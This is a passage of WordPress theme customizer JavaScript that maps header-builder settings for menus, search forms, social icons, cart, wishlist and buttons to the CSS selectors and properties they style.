            'background-color': '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-thumbnail .mega-cat-name',
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_mega_border_style2)': {
            'border-color': '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a::after',
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_submenu_bordercolor)': {
            'border-color': '.pc-builder-element.pc-main-menu .penci-dropdown-menu,.pc-builder-element.pc-main-menu .navigation .menu .sub-menu, .pc-builder-element.pc-main-menu .navigation ul.menu > li.megamenu > ul.sub-menu,.pc-builder-element.pc-main-menu .navigation ul.menu ul.sub-menu li > a, .pc-builder-element.pc-builder-menu.pc-main-menu .navigation.menu-style-1 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active',
            'background-color': '.pc-builder-element.pc-main-menu .menu-style-2 .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post:before,.pc-builder-element.pc-main-menu .navigation ul.menu > li.megamenu > ul.sub-menu > li:before, .pc-builder-element.pc-main-menu .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.all-style:before, .pc-builder-element.pc-main-menu .navigation .penci-megamenu .penci-mega-child-categories:after',
            'border-top-color': '.pc-builder-element.pc-main-menu .navigation.menu-style-2 .menu .sub-menu',
            'border-bottom-color': '.pc-builder-element.pc-main-menu .navigation.menu-style-3 .menu .sub-menu:before',
            'border-right-color': '.pc-builder-element.pc-main-menu .navigation.menu-style-3 .menu .sub-menu .sub-menu:before',
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_submenu_bgcolor)': {
            'border-bottom-color': '.pc-builder-element.pc-main-menu .navigation.menu-style-3 .menu .sub-menu:after',
            'border-right-color': '.pc-builder-element.pc-main-menu .navigation.menu-style-3 .menu .sub-menu .sub-menu:after',
            'background-color': '.pc-builder-element.pc-main-menu .navigation ul.menu > li.megamenu > ul.sub-menu, .pc-builder-element.pc-main-menu .navigation .menu .sub-menu, .pc-builder-element.pc-main-menu .navigation .menu .children'
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_drop_border_style2)': {
            'background-color': '.pc-builder-element.pc-main-menu .navigation.menu-style-2 ul.menu ul.sub-menu:before'
        },

        // second menu
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_menu_color)': '.pc-builder-element.pc-second-menu .navigation .menu > li > a,.pc-builder-element.pc-second-menu .navigation ul.menu ul.sub-menu a',
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_menu_hv_color)': '.pc-builder-element.pc-second-menu .navigation .menu > li > a:hover,.pc-builder-element.pc-second-menu .navigation .menu > li:hover > a,.pc-builder-element.pc-second-menu .navigation ul.menu ul a:hover',
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_menu_active_color)': '.pc-builder-element.pc-second-menu .navigation .menu li.current-menu-item > a,.pc-builder-element.pc-second-menu .navigation .menu > li.current_page_item > a,.pc-builder-element.pc-second-menu .navigation .menu > li.current-menu-ancestor > a,.pc-builder-element.pc-second-menu .navigation .menu > li.current-menu-item > a',
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_submenu_color)': '.pc-builder-element.pc-second-menu .navigation ul.menu ul.sub-menu li a',
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_submenu_hv_color)': '.pc-builder-element.pc-second-menu .navigation ul.menu ul.sub-menu li a:hover',
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_submenu_activecl)': '.pc-builder-element.pc-second-menu .navigation .menu .sub-menu li.current-menu-item > a,.pc-builder-element.pc-second-menu .navigation .menu .sub-menu > li.current_page_item > a,.pc-builder-element.pc-second-menu .navigation .menu .sub-menu > li.current-menu-ancestor > a,.pc-builder-element.pc-second-menu .navigation .menu .sub-menu > li.current-menu-item > a',
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_menu_bg_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu > li > a'
        },
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_menu_line_hv_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation ul.menu > li > a:before, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu > ul > li > a:before'
        },
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_menu_bg_hv_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu > li > a:hover,.pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li > a:hover, .pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li:hover > a, .pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li.current-menu-item > a, .pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li.current_page_item > a, .pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li.current-menu-ancestor > a, .pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li.current-menu-item > a'
        },
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_mega_bg_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .penci-megamenu:not(.penci-block-mega), .pc-builder-element.pc-builder-menu.pc-second-menu .navigation.menu-style-1 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation.menu-style-1 .penci-megamenu .penci-mega-child-categories a.cat-active:before',
        },
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_mega_child_cat_bg_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.cat-active'
        },
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_mega_post_date_color)': {
            'color': '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-date',
        },
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_mega_post_category_color)': {
            'color': '.pc-builder-element.pc-builder-menu.pc-second-menu .penci-megamenu .penci-mega-thumbnail .mega-cat-name',
        },
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_mega_post_title_color)': {
            'color': '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu .penci-megamenu .penci-mega-latest-posts .penci-mega-post .post-mega-title a',
        },
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_mega_accent_color)': {
            'color': '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu .penci-megamenu .penci-mega-child-categories a:hover, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu .penci-megamenu .penci-mega-latest-posts .penci-mega-post .post-mega-title a:hover',
            'background-color': '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-thumbnail .mega-cat-name',
        },
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_mega_border_style2)': {
            'border-color': '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a::after',
        },
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_submenu_bordercolor)': {
            'border-color': '.pc-builder-element.pc-second-menu .penci-dropdown-menu,.pc-builder-element.pc-second-menu .navigation .menu .sub-menu, .pc-builder-element.pc-second-menu .navigation ul.menu > li.megamenu > ul.sub-menu,.pc-builder-element.pc-second-menu .navigation ul.menu ul.sub-menu li > a, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation.menu-style-1 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active',
            'background-color': '.pc-builder-element.pc-second-menu .menu-style-2 .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post:before,.pc-builder-element.pc-second-menu .navigation ul.menu > li.megamenu > ul.sub-menu > li:before, .pc-builder-element.pc-second-menu .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.all-style:before, .pc-builder-element.pc-second-menu .navigation .penci-megamenu .penci-mega-child-categories:after',
            'border-top-color': '.pc-builder-element.pc-second-menu .navigation.menu-style-2 .menu .sub-menu',
            'border-bottom-color': '.pc-builder-element.pc-second-menu .navigation.menu-style-3 .menu .sub-menu:before',
            'border-right-color': '.pc-builder-element.pc-second-menu .navigation.menu-style-3 .menu .sub-menu .sub-menu:before',
        },
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_submenu_bgcolor)': {
            'border-bottom-color': '.pc-builder-element.pc-second-menu .navigation.menu-style-3 .menu .sub-menu:after',
            'border-right-color': '.pc-builder-element.pc-second-menu .navigation.menu-style-3 .menu .sub-menu .sub-menu:after',
            'background-color': '.pc-builder-element.pc-second-menu .navigation ul.menu > li.megamenu > ul.sub-menu, .pc-builder-element.pc-second-menu .navigation .menu .sub-menu, .pc-builder-element.pc-second-menu .navigation .menu .children'
        },
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_drop_border_style2)': {
            'background-color': '.pc-builder-element.pc-second-menu .navigation.menu-style-2 ul.menu ul.sub-menu:before'
        },

        // third menu
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_menu_color)': '.pc-builder-element.pc-third-menu .navigation .menu > li > a,.pc-builder-element.pc-third-menu .navigation ul.menu ul.sub-menu a',
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_menu_hv_color)': '.pc-builder-element.pc-third-menu .navigation .menu > li > a:hover,.pc-builder-element.pc-third-menu .navigation .menu > li:hover > a,.pc-builder-element.pc-third-menu .navigation ul.menu ul.sub-menu a:hover',
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_menu_active_color)': '.pc-builder-element.pc-third-menu .navigation .menu li.current-menu-item > a,.pc-builder-element.pc-third-menu .navigation .menu > li.current_page_item > a,.pc-builder-element.pc-third-menu .navigation .menu > li.current-menu-ancestor > a,.pc-builder-element.pc-third-menu .navigation .menu > li.current-menu-item > a',
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_submenu_color)': '.pc-builder-element.pc-third-menu .navigation ul.menu ul.sub-menu li a',
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_submenu_hv_color)': '.pc-builder-element.pc-third-menu .navigation ul.menu ul.sub-menu li a:hover',
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_submenu_activecl)': '.pc-builder-element.pc-third-menu .navigation .menu .sub-menu li.current-menu-item > a,.pc-builder-element.pc-third-menu .navigation .menu .sub-menu > li.current_page_item > a,.pc-builder-element.pc-third-menu .navigation .menu .sub-menu > li.current-menu-ancestor > a,.pc-builder-element.pc-third-menu .navigation .menu .sub-menu > li.current-menu-item > a',
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_menu_bg_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu > li > a'
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_menu_line_hv_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation ul.menu > li > a:before, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu > ul > li > a:before'
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_menu_bg_hv_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu > li > a:hover,.pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li > a:hover, .pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li:hover > a, .pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li.current-menu-item > a, .pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li.current_page_item > a, .pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li.current-menu-ancestor > a, .pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li.current-menu-item > a'
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_mega_bg_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .penci-megamenu:not(.penci-block-mega), .pc-builder-element.pc-builder-menu.pc-third-menu .navigation.menu-style-1 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation.menu-style-1 .penci-megamenu .penci-mega-child-categories a.cat-active:before',
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_mega_child_cat_bg_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.cat-active'
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_mega_post_date_color)': {
            'color': '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-date',
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_mega_post_category_color)': {
            'color': '.pc-builder-element.pc-builder-menu.pc-third-menu .penci-megamenu .penci-mega-thumbnail .mega-cat-name',
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_mega_post_title_color)': {
            'color': '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu .penci-megamenu .penci-mega-latest-posts .penci-mega-post .post-mega-title a',
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_mega_accent_color)': {
            'color': '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu .penci-megamenu .penci-mega-child-categories a:hover, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu .penci-megamenu .penci-mega-latest-posts .penci-mega-post .post-mega-title a:hover',
            'background-color': '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-thumbnail .mega-cat-name',
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_mega_border_style2)': {
            'border-color': '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a::after',
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_submenu_bordercolor)': {
            'border-color': '.pc-builder-element.pc-third-menu .penci-dropdown-menu,.pc-builder-element.pc-third-menu .navigation .menu .sub-menu, .pc-builder-element.pc-third-menu .navigation ul.menu > li.megamenu > ul.sub-menu,.pc-builder-element.pc-third-menu .navigation ul.menu ul.sub-menu li > a, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation.menu-style-1 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active',
            'background-color': '.pc-builder-element.pc-third-menu .menu-style-2 .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post:before,.pc-builder-element.pc-third-menu .navigation ul.menu > li.megamenu > ul.sub-menu > li:before, .pc-builder-element.pc-third-menu .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.all-style:before,.pc-builder-element.pc-third-menu .navigation .penci-megamenu .penci-mega-child-categories:after',
            'border-top-color': '.pc-builder-element.pc-third-menu .navigation.menu-style-2 .menu .sub-menu',
            'border-bottom-color': '.pc-builder-element.pc-third-menu .navigation.menu-style-3 .menu .sub-menu:before',
            'border-right-color': '.pc-builder-element.pc-third-menu .navigation.menu-style-3 .menu .sub-menu .sub-menu:before',
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_submenu_bgcolor)': {
            'border-bottom-color': '.pc-builder-element.pc-third-menu .navigation.menu-style-3 .menu .sub-menu:after',
            'border-right-color': '.pc-builder-element.pc-third-menu .navigation.menu-style-3 .menu .sub-menu .sub-menu:after',
            'background-color': '.pc-builder-element.pc-third-menu .navigation ul.menu > li.megamenu > ul.sub-menu, .pc-builder-element.pc-third-menu .navigation .menu .sub-menu, .pc-builder-element.pc-third-menu .navigation .menu .children'
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_drop_border_style2)': {
            'background-color': '.pc-builder-element.pc-third-menu .navigation.menu-style-2 ul.menu ul.sub-menu:before'
        },

        // search
        'setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_bg_color)': {
            'background-color': '.penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input'
        },
        'setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_border_color)': {
            'border-color': '.penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input'
        },
        'setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_btntxt_color)': {
            'color': '.pc-search-form-desktop form.pc-searchform i, .penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-desktop .searchsubmit,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-desktop .searchsubmit'
        },
        'setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_btn_color)': {
            'background-color': '.penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-desktop .searchsubmit,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-desktop .searchsubmit'
        },

        'setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_bg_color)': {
            'background-color': '.penci-builder-element.pc-search-form-sidebar form.pc-searchform input.search-input'
        },
        'setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_border_color)': {
            'border-color': '.penci-builder-element.pc-search-form-sidebar form.pc-searchform input.search-input'
        },
        'setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_btntxt_color)': {
            'color': '.pc-search-form-sidebar form.pc-searchform i, .penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-sidebar .searchsubmit,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-sidebar .searchsubmit'
        },
        'setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_btn_color)': {
            'background-color': '.penci-builder-element.pc-search-form-sidebar.search-style-icon-button .searchsubmit,.penci-builder-element.pc-search-form-sidebar.search-style-text-button .searchsubmit'
        },
        // social icon dekstop
        'setting(penci_header_pb_social_icon_section)(penci_header_pb_social_icon_section_icon_size)': {
            'font-size': '.penci-builder-element.desktop-social.header-social a i',
        },
        'setting(penci_header_pb_social_icon_section)(penci_header_pb_social_icon_section_icon_w)': {
            '--pchb-socialw': '.pc-wrapbuilder-header',
        },
        'setting(penci_header_pb_social_icon_section)(penci_header_pb_social_icon_section_item_spacing)': {
            'margin-right': 'body:not(.rtl) .penci-builder-element.desktop-social .inner-header-social a',
            'margin-left': 'body.rtl .penci-builder-element.desktop-social .inner-header-social a',
        },

        'setting(penci_header_pb_social_icon_section)(penci_header_pb_social_icon_section_bg_color)': {
            'background-color': '.penci-builder-element.desktop-social .inner-header-social a i',
        },

        'setting(penci_header_pb_social_icon_section)(penci_header_pb_social_icon_section_border_color)': {
            'border-color': '.penci-builder-element.desktop-social .inner-header-social a i',
        },

        'setting(penci_header_pb_social_icon_section)(penci_header_pb_social_icon_section_color)': {
            'color': '.penci-builder-element.desktop-social .inner-header-social a,.penci-builder-element.desktop-social .inner-header-social a i',
        },


        // social icon mobile
        'setting(penci_header_pb_social_icon_mobile_section)(penci_header_pb_social_icon_mobile_section_icon_size)': {
            'font-size': '.penci-builder-element.mobile-social a i',
        },
        'setting(penci_header_pb_social_icon_mobile_section)(penci_header_pb_social_icon_mobile_section_icon_w)': {
            '--pchb-m-socialw': '.pc-wrapbuilder-header',
        },
        'setting(penci_header_pb_social_icon_mobile_section)(penci_header_pb_social_icon_mobile_section_item_spacing)': {
            'margin-right': 'body:not(.rtl) .penci-builder-element.mobile-social .inner-header-social a',
            'margin-left': 'body.rtl .penci-builder-element.mobile-social .inner-header-social a',
        },
        'setting(penci_header_pb_hamburger_menu_section)(penci_header_pb_hamburger_menu_color)': {
            'background-color': '.pc-builder-element a.penci-menuhbg-toggle .lines-button:after, .pc-builder-element a.penci-menuhbg-toggle.builder .penci-lines:before,.pc-builder-element a.penci-menuhbg-toggle.builder .penci-lines:after',
        },

        'setting(penci_header_pb_social_icon_mobile_section)(penci_header_pb_social_icon_mobile_section_bg_color)': {
            'background-color': '.penci-builder-element.mobile-social .penci-social-textaccent.inner-header-social a i',
        },

        'setting(penci_header_pb_social_icon_mobile_section)(penci_header_pb_social_icon_mobile_section_border_color)': {
            'border-color': '.penci-builder-element.mobile-social .penci-social-textaccent.inner-header-social a i',
        },

        'setting(penci_header_pb_social_icon_mobile_section)(penci_header_pb_social_icon_mobile_section_color)': {
            'color': '.penci-builder-element.mobile-social .penci-social-textaccent.inner-header-social a,.penci-builder-element.mobile-social .penci-social-textaccent.inner-header-social a i',
        },


        // font size
        'setting(penci_header_pb_cart_icon_section)(penci_header_pb_cart_icon_section_size)': {
            'font-size': '.pb-header-builder.cart-icon .top-search-classes a.cart-contents > i, .pb-header-builder.cart-icon .top-search-classes.shoping-cart-icon > a > i',
        },
        'setting(penci_header_pb_wishlist_icon_section)(penci_header_pb_wishlist_icon_section_size)': {
            'font-size': '.penci-builder-elements.pcheader-icon.wishlist-icon > a',
        },
        'setting(penci_header_pb_wishlist_icon_section)(penci_header_pb_wishlist_icon_section_btnbstyle)': {
            'border-style': '.penci-builder-elements.pcheader-icon.wishlist-icon > a',
        },
        'setting(penci_header_pb_wishlist_icon_section)(penci_header_pb_wishlist_icon_section_bg_color)': {
            'background-color': '.penci-builder-elements.pcheader-icon.wishlist-icon > a',
        },
        'setting(penci_header_pb_wishlist_icon_section)(penci_header_pb_wishlist_icon_section_bgh_color)': {
            'background-color': '.penci-builder-elements.pcheader-icon.wishlist-icon > a:hover',
        },
        'setting(penci_header_pb_wishlist_icon_section)(penci_header_pb_wishlist_icon_section_bd_color)': {
            'border-color': '.penci-builder-elements.pcheader-icon.wishlist-icon > a',
        },
        'setting(penci_header_pb_wishlist_icon_section)(penci_header_pb_wishlist_icon_section_bdh_color)': {
            'border-color': '.penci-builder-elements.pcheader-icon.wishlist-icon > a:hover',
        },
        'setting(penci_header_pb_compare_icon_section)(penci_header_pb_compare_icon_section_size)': {
            'font-size': '.penci-builder-elements.pcheader-icon.compare-icon > a',
        },
        'setting(penci_header_pb_compare_icon_section)(penci_header_pb_compare_icon_section_bd_color)': {
            'border-color': '.penci-builder-elements.pcheader-icon.compare-icon > a',
        },
        'setting(penci_header_pb_compare_icon_section)(penci_header_pb_compare_icon_section_bdh_color)': {
            'border-color': '.penci-builder-elements.pcheader-icon.compare-icon > a:hover',
        },
        'setting(penci_header_pb_compare_icon_section)(penci_header_pb_compare_icon_section_bg_color)': {
            'background-color': '.penci-builder-elements.pcheader-icon.compare-icon > a',
        },
        'setting(penci_header_pb_compare_icon_section)(penci_header_pb_compare_icon_section_bgh_color)': {
            'background-color': '.penci-builder-elements.pcheader-icon.compare-icon > a:hover',
        },
        'setting(penci_header_pb_cart_icon_section)(penci_header_pb_cart_icon_section_item_count_txt)': {
            'color': '.pb-header-builder.cart-icon .top-search-classes a.cart-contents > span, .pb-header-builder.cart-icon .top-search-classes.shoping-cart-icon > span',
        },
        'setting(penci_header_pb_cart_icon_section)(penci_header_pb_cart_icon_section_item_count_bg)': {
            'background-color': '.pb-header-builder.cart-icon .top-search-classes a.cart-contents > span, .pb-header-builder.cart-icon .top-search-classes.shoping-cart-icon > span',
        },

        'setting(penci_header_pb_compare_icon_section)(penci_header_pb_compare_icon_section_item_count_txt)': {
            'color': '.penci-builder-elements.pcheader-icon.compare-icon > a > span',
        },
        'setting(penci_header_pb_compare_icon_section)(penci_header_pb_compare_icon_section_item_count_bg)': {
            'background-color': '.penci-builder-elements.pcheader-icon.compare-icon > a > span',
        },

        'setting(penci_header_pb_compare_icon_section)(penci_header_pb_compare_icon_section_btnbstyle)': {
            'border-style': '.penci-builder-elements.pcheader-icon.compare-icon > a',
        },

        'setting(penci_header_pb_wishlist_icon_section)(penci_header_pb_wishlist_icon_section_item_count_txt)': {
            'color': '.penci-builder-elements.pcheader-icon.wishlist-icon > a > span',
        },
        'setting(penci_header_pb_wishlist_icon_section)(penci_header_pb_wishlist_icon_section_item_count_bg)': {
            'background-color': '.penci-builder-elements.pcheader-icon.wishlist-icon > a > span',
        },

        // cart
        'setting(penci_header_pb_compare_icon_section)(penci_header_pb_compare_icon_section_color)': '.penci-builder-elements.pcheader-icon.compare-icon > a',
        'setting(penci_header_pb_compare_icon_section)(penci_header_pb_compare_icon_section_hv_color)': '.penci-builder-elements.pcheader-icon.compare-icon > a:hover',
        'setting(penci_header_pb_wishlist_icon_section)(penci_header_pb_wishlist_icon_section_color)': '.penci-builder-elements.pcheader-icon.wishlist-icon > a',
        'setting(penci_header_pb_wishlist_icon_section)(penci_header_pb_wishlist_icon_section_hv_color)': '.penci-builder-elements.pcheader-icon.wishlist-icon > a:hover',
        'setting(penci_header_pb_cart_icon_section)(penci_header_pb_cart_icon_section_color)': '.pb-header-builder.cart-icon .top-search-classes a.cart-contents',
        'setting(penci_header_pb_cart_icon_section)(penci_header_pb_cart_icon_section_hv_color)': '.pb-header-builder.cart-icon .top-search-classes a.cart-contents:hover',

        'setting(penci_header_pb_cart_icon_section)(penci_header_pb_cart_icon_section_bcolor)': {
            'border-color': '.pb-header-builder.cart-icon',
        },
        'setting(penci_header_pb_cart_icon_section)(penci_header_pb_cart_icon_section_bhcolor)': {
            'border-color': '.pb-header-builder.cart-icon:hover',
        },
        'setting(penci_header_pb_cart_icon_section)(penci_header_pb_cart_icon_section_bgcolor)': {
            'background-color': '.pb-header-builder.cart-icon',
        },
        'setting(penci_header_pb_cart_icon_section)(penci_header_pb_cart_icon_section_bghcolor)': {
            'background-color': '.pb-header-builder.cart-icon:hover',
        },
        'setting(penci_header_pb_cart_icon_section)(penci_header_pb_cart_icon_section_btnbstyle)': {
            'border-style': '.pb-header-builder.cart-icon',
        },

        // button font size
        'setting(penci_header_pb_bookmark_section)(penci_header_pb_bookmark_txt_color)': {
            'color': '.penci-builder-element.top-search-classes.penci-header-bookmark-element a',
        },
        'setting(penci_header_pb_bookmark_section)(penci_header_pb_bookmark_txt_hv_color)': {
            'color': '.penci-builder-element.top-search-classes.penci-header-bookmark-element a:hover',
        },
        'setting(penci_header_pb_bookmark_section)(penci_header_pb_bookmark_txt_size)': {
            'font-size': '.penci-builder-element.top-search-classes.penci-header-bookmark-element a',
        },
        'setting(penci_header_pb_button_section)(penci_header_pb_button_txt_size)': {
            'font-size': '.penci-builder-button.button-1',
        },
        'setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_txt_size)': {
            'font-size': '.penci-builder-button.button-2',
        },
        'setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_txt_size)': {
            'font-size': '.penci-builder-button.button-3',
        },
        'setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_txt_size)': {
            'font-size': '.penci-builder-button.button-mobile-1',
        },
        'setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_txt_size)': {
            'font-size': '.penci-builder-button.button-mobile-2',
        },

        'setting(penci_header_pb_login_register_section)(penci_header_pb_login_register_size)': {
            'font-size': '.pc-header-element.penci-topbar-social .pclogin-item a i',
        },

        'setting(penci_header_pb_login_register_section)(penci_header_pb_login_register_txt_size)': {
            'font-size': '.pc-header-element.penci-topbar-social .pclogin-item a',
        },

        // sidebar mobile menu
        'setting(penci_header_pb_dropdown_menu_section)(penci_header_pb_dropdown_menu_penci_menu_color)': '.pc-builder-menu.pc-dropdown-menu .menu li a',

        // button
        'setting(penci_header_pb_bookmark_section)(penci_header_pb_bookmark_font)': {
            'font-family': '.penci-builder-element.top-search-classes.penci-header-bookmark-element a',
        },
        'setting(penci_header_pb_bookmark_section)(penci_header_pb_bookmark_font_w)': {
            'font-weight': '.penci-builder-element.top-search-classes.penci-header-bookmark-element a',
        },
        'setting(penci_header_pb_bookmark_section)(penci_header_pb_bookmark_font_s)': {
            'font-style': '.penci-builder-element.top-search-classes.penci-header-bookmark-element a',
        },
        'setting(penci_header_pb_button_section)(penci_header_pb_button_font)': {
            'font-family': '.penci-builder.penci-builder-button.button-1',
        },
        'setting(penci_header_pb_button_section)(penci_header_pb_button_font_w)': {
            'font-weight': '.penci-builder.penci-builder-button.button-1',
        },
        'setting(penci_header_pb_button_section)(penci_header_pb_button_font_s)': {
            'font-style': '.penci-builder.penci-builder-button.button-1',
        },
        'setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_font)': {
            'font-family': '.penci-builder.penci-builder-button.button-2',
        },
        'setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_font_w)': {
            'font-weight': '.penci-builder.penci-builder-button.button-3',
        },
        'setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_font_s)': {
            'font-style': '.penci-builder.penci-builder-button.button-4',
        },
        'setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_font)': {
            'font-family': '.penci-builder.penci-builder-button.button-3',
        },
